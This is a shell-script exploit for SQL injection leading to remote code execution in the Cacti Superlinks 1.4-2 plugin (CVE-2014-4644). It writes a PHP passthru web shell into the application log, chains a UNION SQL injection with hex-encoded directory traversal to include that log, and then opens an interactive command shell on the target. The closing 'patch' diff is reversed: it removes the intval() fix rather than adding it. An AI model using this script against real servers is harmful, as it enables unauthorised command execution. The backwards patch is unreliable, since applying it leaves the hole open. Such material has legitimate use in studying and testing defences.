Cacti Superlinks 1.4-2 Code Execution/LFI/SQL Injection

#!/bin/sh
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# Exploit Title: Cacti - Superlinks Plugin 1.4-2 RCE(LFI) via SQL Injection
# Date: 19/12/2014
# Exploit Author: Wireghoul
# Software Link: http://docs.cacti.net/plugin:superlinks
# Identifiers: CVE-2014-4644, EDB-ID-33809
# Exploit explanation through inline comments
# Patch provided at the end
#
# This is the year where hope fails you -- Slipknot: Pulse of the maggots
#
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echo -e "\e[32m *-*, \e[31m ___________"
echo -e "\e[32m ,*\/|\`| ; \e[31m /.'_______\`.\\"
echo -e "\e[32m \\' | |'; *, \e[31m /( (_______\`-'\\"
echo -e "\e[32m \ \`| | ;/ ) \e[31m \`.\`.______ \.'"
echo -e "\e[32m : |'| , / \e[31m \`..-.___>.'"
echo -e "\e[32m :'| |, / \e[31m \`.__ .'\e[0m"
echo -e " _________\e[32m:_|_|_;\e[0m_______________\e[31m\`.'\e[0m_______[Wireghoul]___"
echo -e " CACTI SUPERLINKS PLUGIN 1.4-2 REMOTE CODE EXECUTION PoC"
echo
if [ -z $1 ]; then
echo -e "Usage $0 <superpluginurl>\n $0
http://example.com/cacti/plugins/superlinks/superlinks.php\n";
exit 2;
fi

# This exploit is a second order LFI through SQLI, so first we must write some data to disk
# Luckily the application logs all sort of stuff, so lets poison the application log
# The reason for this is manyfold, read on.
curl --silent "$1?id=SHELL<?php+passthru(\$_GET\[c\])+?>LLEHS<?php+exit+?>" > /dev/null

# Now lets analyse the vulnerability:
# superlinks.php:21:if (isset($_GET['id'])) {
# superlinks.php:22: $pageid=$_GET['id'];
# superlinks.php:23:}
# superlinks.php:24:
# superlinks.php:25:$page = db_fetch_row("SELECT DISTINCT
# superlinks.php:26: id,
# superlinks.php:27: title,
# superlinks.php:28: style,
# superlinks.php:29: contentfile
# superlinks.php:30: FROM (superlinks_pages, superlinks_auth)
# superlinks.php:31: WHERE superlinks_pages.id=superlinks_auth.pageid
# superlinks.php:32: AND id=" . $pageid . "
# This is where the injection occurs, we can now union select 1,2,3,4 -- ftw
# However the real fun occurs a few lines later
# superlinks.php:57: $my_file = $config["base_path"] . "/plugins/superlinks/content/" .
$page['contentfile'];
# superlinks.php:58:
# superlinks.php:59: if (file_exists($my_file)) {
# superlinks.php:60: @include_once($my_file);
# We can now include a file of our choosing (LFI) based on the data returned from the SQLi
# There are only a few problems:
# * We cannot use strings/quotes as magic quotes are usually on
# * We do not know the local path for the LFI
# * Usual tricks like /proc/self* have been patched
# * Database server and web server may be different hosts
# Lets solve the easy one first, we dont need to quote our strings, hex encoding works great
# The second one is a little trickier, we can brute force LFI locations... or
# We can dynamically locate a file path which is stored in the database and present on the webserver
# $ mysqldump cacti | grep '\.log'
# INSERT INTO `settings` VALUES
('path_php_binary','/usr/bin/php'),('path_rrdtool','/usr/bin/rrdtool'),('poller_lastrun','1414565401'),('path_webroot','
/usr/share/cacti/site'),('date','2014-10-29 17:50:02'),('stats_poller','Time:0.1182 Method:cmd.php Processes:1
Threads:N/A Hosts:2 HostsPerProcess:2 DataSources:0 RRDsProcessed:0'),('stats_recache','RecacheTime:0.0
HostsRecached:0'),('path_snmpwalk','/usr/bin/snmpwalk'),('path_snmpget','/usr/bin/snmpget'),('path_snmpbulkwalk','/usr/b
in/snmpbulkwalk'),('path_snmpgetnext','/usr/bin/snmpgetnext'),('path_cactilog','/var/log/cacti/cacti.log'),('snmp_versio
n','net-snmp'),('rrdtool_version','rrd-1.4.x'),('superlinks_tabstyle','0'),('superlinks_hidelogo','0'),('superlinks_hide
console','0'),('superlinks_db_version','1.4'),('auth_method','1'),('guest_user','guest'),('user_template','0'),('ldap_se
rver',''),('ldap_port','389'),('ldap_port_ssl','636'),('ldap_version','3'),('ldap_encryption','0'),('ldap_referrals','0'
),('ldap_mode','0'),('ldap_dn',''),('ldap_group_require',''),('ldap_group_dn',''),('ldap_group_attrib',''),('ldap_group_
member_type','1'),('ldap_search_base',''),('ldap_search_filter',''),('ldap_specific_dn',''),('ldap_specific_password',''
);
# $ ls -la /var/log/cacti/cacti.log
# -rw-r----- 1 www-data www-data 5838 Oct 29 17:50 /var/log/cacti/cacti.log
# $ tail /var/log/cacti/cati.log
# <snip> ERROR: SQL Assoc Failed!, Error:'1064', SQL:"SELECT graph_templates.id, graph_templates.name 
FROM (graph_local,graph_templates,graph_templates_graph) WHERE graph_local.id=graph_templates_graph.local_graph_id 
AND graph_templates_graph.graph_template_id=graph_templates.id AND graph_local.host_id=1 AND
graph_templates.id=12 select 1,2,3,4 -- GROUP BY graph_templates.id ORDER BY graph_templates.name"
# WINRAR!

# We can now include the poisoned log file by fetching the log path from the database
# and prepending it with the normal directory traversal pattern ../../../ using concat()
# We traverse 8 deep, that's usually enough
echo -ne "Dropping into shell, type exit to quit.\ncactishell> "
while read line; do
if [ "$line" == "exit" ]; then
exit
fi
comand=`echo -n $line | sed -e's/ /+/g'`
curl --silent
"$1?id=123+union+select+1,2,3,concat(0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f,value)+from+settings+where+
name=0x706174685f63616374696c6f67+--+-&c=$comand" | \
sed -n '/SHELL/, $p' | \
sed -e 's/.*SHELL//' |\
sed '/LLEHS/, $d'
echo -n "cactishell> "
done

# Proposed patch
# Vendor has a patch in a SVN repo somewhere:
# http://bugs.cacti.net/bug_view_advanced_page.php?bug_id=2475
# Yet has not made the patch available, or responded to requests to do so:
# http://forums.cacti.net/viewtopic.php?t=53711
#--- superlinks.php 2014-12-18 02:05:37.706013833 -0500
#+++ superlinks.php 2014-12-18 02:05:09.694014497 -0500
#@@ -19,7 +19,7 @@
#
# $pageid = 0;
# if (isset($_GET['id'])) {
#- $pageid=intval($_GET['id']);
#+ $pageid=$_GET['id'];
# }
#
# $page = db_fetch_row("SELECT DISTINCT

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